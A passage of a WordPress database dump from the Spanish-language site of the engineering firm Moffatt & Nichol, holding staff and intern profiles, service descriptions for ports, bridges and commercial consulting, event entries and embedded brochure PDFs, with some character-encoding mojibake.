Fantástico.','Victor ','<p class=\"para-text\">\r\n<strong>Victor </strong>\r\nIngeniero portuario \r\n \r\nVÃctor, que trabaja con Moffatt & Nichol desde hace mÃ¡s de tres aÃ±os, tiene mÃ¡s de 11 aÃ±os de experiencia especializada en el diseÃ±o, anÃ¡lisis, inspecciÃ³n y rehabilitaciÃ³n de instalaciones portuarias. TambiÃ©n es un buzo experimentado y un talentoso guitarrista que toca en una banda de tributo para la banda norteamericana de rock duro, Tool. </p>','publish','open','open','','victor-2','','','2012-09-06 10:25:11','2012-09-06 10:25:11','',0,'http://moffattnichol.com/spanish/?p=1565',0,'post','',0),(1566,1,'2012-01-06 10:01:11','2012-01-06 10:01:11','','victor-2','','inherit','open','open','','victor-2','','','2012-01-06 10:01:11','2012-01-06 10:01:11','',1565,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/victor-2.jpg',0,'attachment','image/jpeg',0),(1569,1,'2011-12-25 10:03:52','2011-12-25 04:33:52','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/IngridPE.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/IngridPE.jpg\" alt=\"\" title=\"Ingrid,PE\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1570\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Ingrid, ingeniera profesional </strong>\r\nIngeniera principal \r\n \r\nIngrid tiene más de 20 años de experiencia y se especializa en el análisis y diseño estructural y en simulaciones operacionales. Generalmente trabaja en terminales marítimas y sus responsabilidades incluyen los estudios de localización, el diseño estructural preliminar o detallado y los estudios de logística, por mencionar solo algunos. \r\n\r\n<strong>¿Cómo se han desarrollado sus funciones en los siete años que permanece con Moffatt & Nichol?</strong>\r\nEl reciente interés en instalaciones de gas natural licuado me ha dado la oportunidad de adquirir nuevas habilidades en operaciones y logística. Este trabajo, más mi formación en análisis, me ha permitido trabajar junto con ingenieros de otras oficinas de Moffatt & Nichol y participar en proyectos a lo largo y ancho de Estados Unidos. Estoy emocionada por las oficinas internacionales de la compañía, que espero me den también más oportunidades de participar en proyectos globales interesantes.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nTrabajar en proyectos difíciles y trabajar con colegas motivados y profesionales. Ahora estoy trabajando en un proyecto muy interesante que me da la oportunidad de trabajar con algunos ingenieros geotécnicos muy talentosos. También disfruto del trabajo de logística y modelación, porque puedo aplicar mi entrenamiento comercial y ayudar a nuestros clientes con sus decisiones de inversión de capital al inicio de la vida del proyecto.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nEn mi opinión, la cultura de Moffatt & Nichol acentúa lo que realmente importa: la importancia de hacer un buen trabajo y de producir un producto de calidad. Además, la firma es selectiva sobre a quién emplea; por lo tanto, hay armonía entre el personal y una baja tasa de rotación de personal.\r\n\r\n<strong>¿Qué es lo más interesante en que ha participado durante su trabajo con M&N?</strong>\r\nUna de las cosas más emocionantes que he hecho en Moffatt & Nichol fue un sobrevuelo que hice con un colega en un pequeño jet sobre la línea costera del Pacífico de México para identificar potenciales emplazamientos para una gran terminal marítima. El piloto era excelente para los descensos en picada.\r\n\r\n</p>','Ingrid, ingeniera profesional ','<p class=\"para-text\">\r\n<strong>Victor </strong>\r\nIngeniero portuario \r\n \r\nIngrid tiene mÃ¡s de 20 aÃ±os de experiencia y se especializa en el anÃ¡lisis y diseÃ±o estructural y en simulaciones operacionales. Generalmente trabaja en terminales marÃtimas y sus responsabilidades incluyen los estudios de localizaciÃ³n, el diseÃ±o estructural preliminar o detallado y los estudios de logÃstica, por mencionar solo algunos. </p>','publish','open','open','','ingridpe','','','2012-09-06 10:26:44','2012-09-06 10:26:44','',0,'http://moffattnichol.com/spanish/?p=1569',0,'post','',0),(1570,1,'2012-01-06 10:03:32','2012-01-06 10:03:32','','Ingrid, ingeniera profesional','','inherit','open','open','','ingridpe','','','2012-01-06 10:03:32','2012-01-06 10:03:32','',1569,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/IngridPE.jpg',0,'attachment','image/jpeg',0),(1572,1,'2011-12-24 10:07:31','2011-12-24 04:37:31','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Julie.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Julie.jpg\" alt=\"\" title=\"Julie\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1573\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Julie, AICP, CEP </strong>\r\nPlanificadora medioambiental \r\n \r\nJulie, una planificadora de Moffatt & Nichol, fue reconocida recientemente como una planificadora certificada por la American Planning Association. También recibió recientemente su certificación como profesional medioambiental de la Academy of Board Certified Environmental Professionals.\r\n\r\n<strong>¿En qué tipo de proyectos trabaja?</strong>\r\nTrabajo en proyectos de la Agencia Nacional para la Protección del Medioambiente tales como informes de impacto medioambiental, evaluaciones medioambientales y exclusiones categóricas, estudios de factibilidad e informes de concepto, análisis de fallas críticas, autorizaciones medioambientales estatales y federales, y política medioambiental internacional. Mi mayor experiencia es en temas de biología, comunidad y salud, pero también comprendo los fundamentos de economía, agua, ingeniería, recursos culturales/históricos, aire, ruido y otros aspectos del proyecto, que me permiten realizar análisis integrales.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nEl personal de Moffatt & Nichol ha aumentado en más de 30% en los dos años que trabajo aquí. Estamos creciendo en varias áreas especializadas y todos los niveles de personal participan para apoyar ese crecimiento, y es muy emocionante ser parte de eso. Incluso con todo el crecimiento, el ambiente de la compañía ha permanecido sólido y estable. La compañía ha manejado extraordinariamente bien el crecimiento informando y protegiendo a su personal y clientes durante los períodos de transición.\r\n\r\n<strong>¿Qué es lo que le da más satisfacción de su función?</strong>\r\nEncuentro gran satisfacción en la diversidad de proyectos y en la flexibilidad para concentrarse en los problemas que pueden surgir. Trabajo en proyectos de planeamiento de transporte por carretera, preservación y restauración de humedales, política de gestión de zonas costeras internacionales, estudios multiestatales de trenes de alta velocidad y otros a nivel local, estatal, nacional e internacional. También debo aprender y desarrollarme constantemente en conceptos de vanguardia sobre planeamiento, incluyendo los requisitos LEED-ND [Liderazgo en Energía y Diseño Medioambiental-Desarrollos de Vecindarios] y la capacitación en la evaluación de los impactos sobre la salud. Esto hace que el día sea muy dinámico y realmente no hay tiempo para aburrirse.\r\n</p>\r\n','Julie, AICP, CEP ','<p class=\"para-text\">\r\n<strong>Julie, AICP, CEP </strong>\r\nPlanificadora medioambiental \r\n \r\nJulie, una planificadora de Moffatt & Nichol, fue reconocida recientemente como una planificadora certificada por la American Planning Association. TambiÃ©n recibiÃ³ recientemente su certificaciÃ³n como profesional medioambiental de la Academy of Board Certified Environmental Professionals.</p>','publish','open','open','','julieaicpcep','','','2012-09-06 10:28:06','2012-09-06 10:28:06','',0,'http://moffattnichol.com/spanish/?p=1572',0,'post','',0),(1573,1,'2012-01-06 10:06:56','2012-01-06 10:06:56','','Julie','','inherit','open','open','','julie','','','2012-01-06 10:06:56','2012-01-06 10:06:56','',1572,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Julie.jpg',0,'attachment','image/jpeg',0),(1577,1,'2012-01-06 10:09:43','2012-01-06 10:09:43','','Azadeh','','inherit','open','open','','azadeh-3','','','2012-01-06 10:09:43','2012-01-06 10:09:43','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Azadeh2.jpg',0,'attachment','image/jpeg',0),(1588,1,'2011-12-23 10:18:50','2011-12-23 04:48:50','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Christina.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Christina.jpg\" alt=\"\" title=\"Christina\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1589\" /></a>\n<p class=\"para-text\">\n<strong>Christina </strong>\nUniversidad de California, San Diego \n \nChristina procede de la Universidad de California, San Diego, y se unirÃ¡ a Moffatt & Nichol como parte de una pasantÃa de verano. EstarÃ¡ rotando dentro de varios departamentos entre los grupos de Puentes y Muelles en la oficina de San Diego. Christina decidiÃ³ estudiar ingenierÃa porque siempre le han intrigado los edificios estructurales y la forma en que trabajan.\n \nMediante su pasantÃa, espera ganar mÃ¡s contacto y experiencia en el diseÃ±o y anÃ¡lisis de estructuras reales. Ella aprendiÃ³ varias teorÃas en la universidad, pero estaba limitada a su aplicabilidad a situaciones de la vida real. MÃ¡s que nada, espera ansiosamente trabajar con nuestros experimentados ingenieros y recibir su entrenamiento aquÃ en Moffatt & Nichol. Cree que la infraestructura desempeÃ±a un papel fundamental en nuestra sociedad y espera algÃºn dÃa marcar una diferencia.\n\n</p>\n','Christina ','<p class=\"para-text\">\n<strong>Christina </strong>\nUniversidad de California, San Diego \n \nChristina procede de la Universidad de California, San Diego, y se unirÃ¡ a Moffatt & Nichol como parte de una pasantÃa de verano. EstarÃ¡ rotando dentro de varios departamentos entre</p>','publish','open','open','','christina','','','2011-12-23 10:18:50','2011-12-23 04:48:50','',0,'http://moffattnichol.com/spanish/?p=1588',0,'post','',0),(1589,1,'2012-01-06 10:18:26','2012-01-06 10:18:26','','Christina','','inherit','open','open','','christina','','','2012-01-06 10:18:26','2012-01-06 10:18:26','',1588,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Christina.jpg',0,'attachment','image/jpeg',0),(1591,1,'2011-12-22 10:21:35','2011-12-22 04:51:35','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/JOhn.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/JOhn.jpg\" alt=\"\" title=\"JOhn\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1592\" /></a>\n<p class=\"para-text\">\n<strong>John  </strong>\nUniversidad Estatal de California, Long Beach\n  \nJohn asistirÃ¡ a su tercer aÃ±o en la Universidad Estatal de California, Long Beach, este otoÃ±o. Se unirÃ¡ a Moffatt & Nichol, en particular al Grupo costero, como parte de una pasantÃa de verano este aÃ±o. Siempre ha estado fascinado por saber cÃ³mo se hicieron las cosas y su funcionalidad, asÃ que la ingenierÃa fue una decisiÃ³n fÃ¡cil y es perfecta para su especializaciÃ³n. Durante su pasantÃa en Moffatt & Nichol, espera obtener una comprensiÃ³n prÃ¡ctica sobre lo que ha estado estudiando y elegir un campo de estudio especÃfico dentro de la ingenierÃa civil.\n \nEn su tiempo libre, disfruta practicar el golf, el boxeo y el bÃ¡squetbol. TambiÃ©n disfruta de pasar su tiempo al aire libre cazando, pescando, buceando y manejando una moto enduro.\n</p>\n','John ','<p class=\"para-text\">\n<strong>John  </strong>\nUniversidad Estatal de California, Long Beach\n  \nJohn asistirÃ¡ a su tercer aÃ±o en la Universidad Estatal de California, Long Beach, este otoÃ±o. Se unirÃ¡ a Moffatt & Nichol, en particular al Grupo costero, como parte de una pasantÃa de verano este aÃ±o. </p>','publish','open','open','','john','','','2011-12-22 10:21:35','2011-12-22 04:51:35','',0,'http://moffattnichol.com/spanish/?p=1591',0,'post','',0),(1592,1,'2012-01-06 10:21:21','2012-01-06 10:21:21','','John','','inherit','open','open','','john-2','','','2012-01-06 10:21:21','2012-01-06 10:21:21','',1591,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/JOhn.jpg',0,'attachment','image/jpeg',0),(1594,1,'2011-12-21 10:23:52','2011-12-21 04:53:52','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Thisera.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Thisera.jpg\" alt=\"\" title=\"Thisera\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1595\" /></a>\n<p class=\"para-text\">\n<strong>Theresa  </strong>\nUniversidad de California, San Diego \n  \nTheresa estÃ¡ asistiendo a la Universidad de California, San Diego, e inicialmente comenzÃ³ una especializaciÃ³n en biologÃa, pero rÃ¡pidamente cambiÃ³ a ingenierÃa estructural. La idea de construir una estructura y poder visualizar su tiempo y compromiso en un proyecto realmente despertÃ³ su interÃ©s.  Theresa se unirÃ¡ a la oficina de Long Beach y trabajarÃ¡ de cerca con el equipo estructural.\n \nEn su tiempo libre, Theresa disfruta de ejercitarse y cocinar. Ella no podÃa cocinar con frecuencia durante el aÃ±o acadÃ©mico, asÃ que espera tener mÃ¡s tiempo para probar algunas recetas nuevas este verano. Espera los pasos siguientes para su carrera y poder viajar antes de ingresar al mundo laboral a tiempo completo.\n\n</p>\n','Theresa ','<p class=\"para-text\">\n<strong>Theresa  </strong>\nUniversidad de California, San Diego \n  \nTheresa estÃ¡ asistiendo a la Universidad de California, San Diego, e inicialmente comenzÃ³ una especializaciÃ³n en biologÃa, pero rÃ¡pidamente cambiÃ³ a ingenierÃa estructural. </p>','publish','open','open','','theresa','','','2011-12-21 10:23:52','2011-12-21 04:53:52','',0,'http://moffattnichol.com/spanish/?p=1594',0,'post','',0),(1595,1,'2012-01-06 10:23:29','2012-01-06 10:23:29','','Thisera','','inherit','open','open','','thisera','','','2012-01-06 10:23:29','2012-01-06 10:23:29','',1594,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Thisera.jpg',0,'attachment','image/jpeg',0),(1598,1,'2011-12-20 10:25:52','2011-12-20 04:55:52','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Colton.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Colton.jpg\" alt=\"\" title=\"Colton\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1600\" /></a>\n<p class=\"para-text\">\n<strong>Colton   </strong>\nUniversidad de Texas A&M \n  \nColton estÃ¡ asistiendo actualmente a la Universidad de Texas A&M y se unirÃ¡ a nuestra oficina de Houston como parte de una pasantÃa de verano este aÃ±o trabajando bÃ¡sicamente en la especialidad de Recursos costeros, medioambientales e hÃdricos.\n\nDecidiÃ³ dedicarse a la ingenierÃa debido a su interÃ©s en analizar cÃ³mo y por quÃ© funcionan las cosas. Esta pasiÃ³n combinada con su interÃ©s en matemÃ¡ticas y fÃsica hizo que fuera fÃ¡cil decidirse por la ingenierÃa cuando estaba en la escuela secundaria. Espera que su puesto de interno con Moffatt & Nichol le ayude a decidir las Ã¡reas de ingenierÃa civil en las que desea especializarse. TambiÃ©n espera obtener experiencia prÃ¡ctica trabajando de cerca con los ingenieros.\n\nColton disfruta de permanecer activo, ya sea yendo de excursiÃ³n, nadando, practicando deportes o haciendo ejercicio. TambiÃ©n disfruta de leer, pasar tiempo con su familia y amigos y trabajar en su camioneta GMC de 1986 como mecÃ¡nico de tiempo parcial. A medida que trabaja en sus estudios hasta su graduaciÃ³n, planea viajar un poco antes de incorporarse a la fuerza laboral.\n\n</p>\n','Colton ','<p class=\"para-text\">\n<strong>Colton   </strong>\nUniversidad de Texas A&M \n  \nColton estÃ¡ asistiendo actualmente a la Universidad de Texas A&M y se unirÃ¡ a nuestra oficina de Houston como parte de una pasantÃa de verano este aÃ±o trabajando bÃ¡sicamente en la especialidad de Recursos costeros, medioambientales e hÃdricos. DecidiÃ³ dedicarse a la ingenierÃa debido a su interÃ©s en analizar cÃ³mo y por quÃ© \n</p>','publish','open','open','','colton','','','2011-12-20 10:25:52','2011-12-20 04:55:52','',0,'http://moffattnichol.com/spanish/?p=1598',0,'post','',0),(1600,1,'2012-01-06 10:26:05','2012-01-06 10:26:05','','Colton','','inherit','open','open','','colton-2','','','2012-01-06 10:26:05','2012-01-06 10:26:05','',1598,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Colton.jpg',0,'attachment','image/jpeg',0),(1656,1,'2012-01-10 16:57:01','2012-01-10 11:27:01','HonolulÃº, HawÃ¡i Si desea mÃ¡s informaciÃ³n visite: <a href=\"http://www.euci.com/events/?ci=1468&amp;t=O/\">http://www.euci.com/events/?ci=1468&amp;t=O/</a>','El futuro de la energÃa renovable','','publish','open','open','','new-event-1','','','2012-01-10 16:57:01','2012-01-10 11:27:01','',0,'http://moffattnichol.com/spanish/?post_type=ai1ec_event&amp;p=1656&amp;instance_id=',0,'ai1ec_event','',0),(1657,1,'2012-01-10 17:12:51','2012-01-10 11:42:51','<div class=\"content_faq\">\r\n <h3>consultoría comercial global</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/GCAES_distribution.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">capacidades y experiencia profesional</h1>\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n<div class=\"clear\"></div>\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n<strong>Experiencia profesional:</strong>\r\n    <ul>\r\n      <li>Análisis macroeconómico y demanda de carga globales</li>\r\n      <li>Análisis de mercado específico del país y regional</li>\r\n      <li>Evaluaciones económicas de ventajas competitivas</li>\r\n      <li>Desviación de carga y estudios de elasticidad</li>\r\n      <li>Estudios de casos comerciales</li>\r\n      <li>Desarrollo de proforma financiera</li>\r\n      <li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n      <li>Evaluaciones y desarrollos estratégicos</li>\r\n      <li>Diligencia debida de transacciones comerciales con grado de inversión</li>\r\n      <li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n      <li>Estudios de gestión y organización</li>\r\n      <li>Evaluación de alternativas de leasing</li>\r\n      <li>Análisis del impacto económico</li>\r\n      <li>Estimación de beneficio del sector público</li>\r\n      <li>Evaluación de costo-beneficio</li>\r\n      <li>Análisis de la productividad y las operaciones de terminales </li>\r\n      <li>Operaciones de compañías navieras</li>\r\n    </ul>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Capacidades y experiencia profesional','','publish','open','open','','capabilities-and-expertise','','','2012-06-15 05:48:12','2012-06-15 05:48:12','',54,'http://moffattnichol.com/spanish/?page_id=1657',0,'page','',0),(1674,1,'2012-01-10 18:08:29','2012-01-10 12:38:29','<div class=\"content_faq\">\r\n   <h1 id=\"1\">capacidades y experiencia profesional</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción<br />\r\n        Rehabilitación de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guía de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre áreas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">Construcción</div>\r\n      <p> Etapas de la construcción y mantenimiento del tráfico<br />\r\n        Estudios de la factibilidad de construcción e Ingeniería del valor<br />\r\n        Ingeniería y apoyo de la construcción<br />\r\n        Análisis de la construcción en función del tiempo<br />\r\n        Inspección de la construcción<br />\r\n        Planos según construcción y conciliación<br />\r\n        Representación del diseñador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n       <p>Estudios de factibilidad y planeamiento<br />\r\n        Diseño conceptual<br />\r\n        Estimados de costos<br />\r\n        Selección del tipo de estructura<br />\r\n        Estudios y documentación medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">Diseño</div>\r\n      <p> Diseño preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        Diseño antisísmico y modificación<br />\r\n        Estudios hidráulicos y de socavación<br />\r\n        Estudios de colisión de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        Diseño de cimentación profunda<br />\r\n        Socavación de puentes<br />\r\n        Análisis de la marejada ciclónica<br />\r\n      </p>\r\n      <div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\n      <p> Inspección por encima/debajo del nivel del agua con certificación NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        Modelación de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseño de reparación/rehabilitación<br />\r\n        Servicios de la fase de construcción<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> Estética de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        Análisis avanzado de elementos finitos<br />\r\n        Coordinación y reubicación de equipos de servicios públicos<br />\r\n        Diseño de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Puentes','','publish','open','open','','capabilities-and-expertise-bridges','','','2012-06-15 06:42:30','2012-06-15 06:42:30','',640,'http://moffattnichol.com/spanish/?page_id=1674',0,'page','',0),(1722,1,'2012-01-11 20:24:12','2012-01-11 14:54:12','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FOVERVIEW1US.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','DescripciÃ³n general de servicios','','publish','open','open','','overview-of-services','','','2012-01-11 20:24:12','2012-01-11 14:54:12','',0,'http://moffattnichol.com/spanish/?page_id=1722',70,'page','',0),(1725,1,'2012-01-11 20:26:12','2012-01-11 14:56:12','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FPORTS1HARBORS1MARINE1TERMINALS.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de puertos','','publish','open','open','','ports-and-harbors-brochure','','','2012-01-11 20:26:12','2012-01-11 14:56:12','',0,'http://moffattnichol.com/spanish/?page_id=1725',71,'page','',0),(1727,1,'2012-01-11 20:27:47','2012-01-11 14:57:47','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FBULK1HANDLING1FACILITIES.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de manipulaciÃ³n de graneles','','publish','open','open','','bulk-handling-brochure','','','2012-01-11 20:27:47','2012-01-11 14:57:47','',0,'http://moffattnichol.com/spanish/?page_id=1727',72,'page','',0),(1729,1,'2012-01-11 20:29:26','2012-01-11 14:59:26','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FGLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto comercial','','publish','open','open','','commercial-brochure','','','2012-01-11 20:29:26','2012-01-11 14:59:26','',0,'http://moffattnichol.com/spanish/?page_id=1729',73,'page','',0),(1737,1,'2012-01-11 20:38:53','2012-01-11 15:08:53','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FCOASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Recursos costeros','','publish','open','open','','coastal-resources','','','2012-01-11 20:38:53','2012-01-11 15:08:53','',0,'http://moffattnichol.com/spanish/?page_id=1737',76,'page','',0),(1816,1,'2012-01-24 06:48:01','2012-01-24 01:18:01','<div class=\"content_faq\">\n<h1>Conferencia de comercio y transporte del noreste</h1>\n<iframe src=\"http://docs.google.com/viewer?url=http://moffattnichol.com/spanish/wp-content/uploads/2012/01/20111031Mar1231CONECT1Kemmsies.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>\n</div>','Presentaciones','','publish','open','open','','presentations','','','2012-01-24 06:48:01','2012-01-24 01:18:01','',78,'http://moffattnichol.com/spanish/?page_id=1816',1,'page','',0),(1817,1,'2012-01-24 06:47:24','2012-01-24 01:17:24','','20111031Mar1231CONECT1Kemmsies','','inherit','open','open','','20111031mar1231conect1kemmsies','','','2012-01-24 06:47:24','2012-01-24 01:17:24','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/01/20111031Mar1231CONECT1Kemmsies.pdf',0,'attachment','application/pdf',0),(1874,1,'2012-01-28 05:55:42','2012-01-28 00:25:42','','alamedacorridor_250X159','','inherit','open','open','','alamedacorridor_250x159','','','2012-01-28 05:55:42','2012-01-28 00:25:42','',651,'http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X159.jpg',0,'attachment','image/jpeg',0),(1876,1,'2012-01-28 06:09:03','2012-01-28 00:39:03','','alamedacorridor_250X189','','inherit','open','open','','alamedacorridor_250x189','','','2012-01-28 06:09:03','2012-01-28 00:39:03','',651,'http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X189.jpg',0,'attachment','image/jpeg',0),(1877,1,'2012-01-28 06:09:27','2012-01-28 00:39:27','','alamedacorridor_250X189','','inherit','open','open','','alamedacorridor_250x189-2','','','2012-01-28 06:09:27','2012-01-28 00:39:27','',651,'http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg',0,'attachment','image/jpeg',0),(1882,1,'2012-01-28 06:34:37','2012-01-28 01:04:37','','Conferencia costera ASBPA','','publish','open','open','','asbpa-coastal-summit','','','2012-01-28 06:34:37','2012-01-28 01:04:37','',0,'http://moffattnichol.com/spanish/?post_type=ai1ec_event&amp;p=1882&amp;instance_id=',0,'ai1ec_event','',0),(1916,1,'2012-01-31 18:06:52','2012-01-31 12:36:52','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fspanish%2Fwp-content%2Fthemes%2Fmoffatandnichol%2Fimages%2Fpdf%2FMN%2520NL%2520V9I2%2520Contrail%2520Final%252011.10.11%2520low.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Volumen 9, nÃºmero 2','','publish','open','open','','volume-9-issue-2','','','2012-01-31 18:06:52','2012-01-31 12:36:52','',0,'http://moffattnichol.com/spanish/?page_id=1916',75,'page','',0),(1929,1,'2012-02-06 18:22:50','2012-02-06 12:52:50','','boletÃn de noticias-nuevo','','inherit','open','open','','newsletter-new','','','2012-02-06 18:22:50','2012-02-06 12:52:50','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2012/02/newsletter-new.jpg',0,'attachment','image/jpeg',0),(1957,1,'2012-02-07 19:02:08','2012-02-07 13:32:08','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FOffshore_WTG_Substructure_Design_portal.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de diseÃ±o de la subestructura de generador de turbina eÃ³lica (WTG) costa afuera','','publish','open','open','','offshore-wtg-substructure-design-brochure','','','2012-02-07 